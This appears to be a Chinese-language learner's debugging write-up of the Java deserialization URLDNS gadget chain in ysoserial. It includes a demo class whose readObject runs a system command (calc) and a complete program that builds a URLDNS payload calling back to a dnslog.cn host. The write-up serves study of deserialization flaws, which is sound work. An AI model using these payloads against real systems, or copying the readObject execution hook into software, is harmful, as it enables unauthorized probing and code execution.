URLDNS鍊子是Java反序列化分析的第0課,網上也有很多優質的分析文章。
筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。
一. Java反序列化前置知識
Java原生鍊序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實作Serializable接口,将對象轉化成位元組序列。
Java原生鍊反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實作将位元組序列轉化成對象。
測試源碼如下,此部分源碼參考了ol4three師傅的部落格:
package serialize;
import java.io.*;
public class deserTest implements Serializable {
private int n;
public deserTest(int n) {
this.n=n;
}
@Override
public String toString() {
return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
// 反序列化
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("test");
}
public static void main(String[] args) {
deserTest x = new deserTest(5);
operation1.ser(x);
operation1.deser();
x.toString();
}
}
// 實作序列化和反序列化具體細節的類
class operation1{
// 将輸出位元組流寫入檔案中進行封存
public static void ser(Object obj) {
// 序列化操作,寫操作
try {
// 首先檔案落地object.obj存儲輸出流,綁定輸出流
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
// 重定向将輸出流位元組寫入檔案
ooStream.writeObject(obj);
ooStream.flush();
ooStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void deser() {
// 反序列化,讀取操作
try {
// 綁定輸入流
ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
// 反序列化時需要從相關的檔案容器中讀取輸出的位元組流
// 讀取位元組流操作為readObject,是以重寫readObject可以執行自定義代碼
Object xObject = iiStream.readObject();
iiStream.close();
} catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
二. ysoserial環境搭建
IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload內建化工具ysoserial進行分析,這裡面已經有現成的環境了
https://github.com/frohoff/ysoserial
注意配置好相應的JDK和SDK版本:
三. URLDNS攻擊鍊
- • 影響的版本問題:與JDK版本無關,其攻擊鍊實作依賴于Java内置類,與第三方庫無關
- • URLDNS這條反序列化鍊隻能發起DNS請求,無法進行其他利用,可以作為驗證是否有反序列化漏洞的姿勢
調試分析
Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函數中進行域名解析,進而可以被DNSLog平台捕獲
URLDNS程式入口
在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路徑下有URLDNS.java檔案
main主函數的run函數打斷點進入
這個ysoserial-master的payload運作結構大緻是有一個專門的PayloadRunner運作程式,然後統一調用來運作各部分的payload
首先是進行序列化:
繼續往下,生成command,由于是分析URLDNS攻擊鍊,是以隻需要修改将傳回值為dnslog的臨時位址
建立執行個體後,進入到URLDNS的getObject的payload函數
getObject函數中應該注意的是:聲明了HashMap對象和URL對象,并進行put哈希綁定,最後設定作用域
反序列化鍊子:
在反序列化入口處打斷點:
在反序列化時調用了readObject函數
然後進入HashMap.java的readObject函數
在readObject中調試到此行,了putval,在此處IDEA這個IDE可以選擇進入的函數,直接進入後者hash
由于我們讀入位元組序列,需要将其恢複成相應的對象結構,那麼就需要重新putval
傳入的key不為空,執行key.hashCode
進一步在URL.java檔案下
進入URLStreamHandler的hashCode
産生解析:
總的來說,利用鍊思路如下:
在反序列化URLDNS對象時,也需要反序列化HashMap對象,進而調用了HashMap.readObject()的重寫函數,重寫函數中調用了哈希表putval等的相關重構函數,在hashcode下調用了getHostAddress函數
那麼反之,為什麼首次聲明的時候沒有調用到了getHostAddress函數,現在給出聲明時的函數路線:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
該函數為空實作
列出幾個路線上的關鍵函數看看:
由于此處key為String類型,則進入String.hashCode
相比之下,在反序列化中key為URL類型
設定了不發起dns解析
具體執行流,可以看下時序圖,我就不講了^^
四. URLDNS鍊的使用
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Main{
// 序列化前不發生dns解析
static class SilentURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL n) throws IOException{
return null;
}
protected synchronized InetAddress getHostAddress(URL n)
{
return null;
}
}
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
// 設定put時不發起dns解析
URLStreamHandler handler = new Main.SilentURLStreamHandler();
URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
// 利用Java反射機制在動态執行時擷取類
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url, "123");
f.set(url, -1);
// 對象輸出流綁定檔案輸出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap); // 序列化
// 對象輸入流綁定檔案輸入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // 反序列化
}
}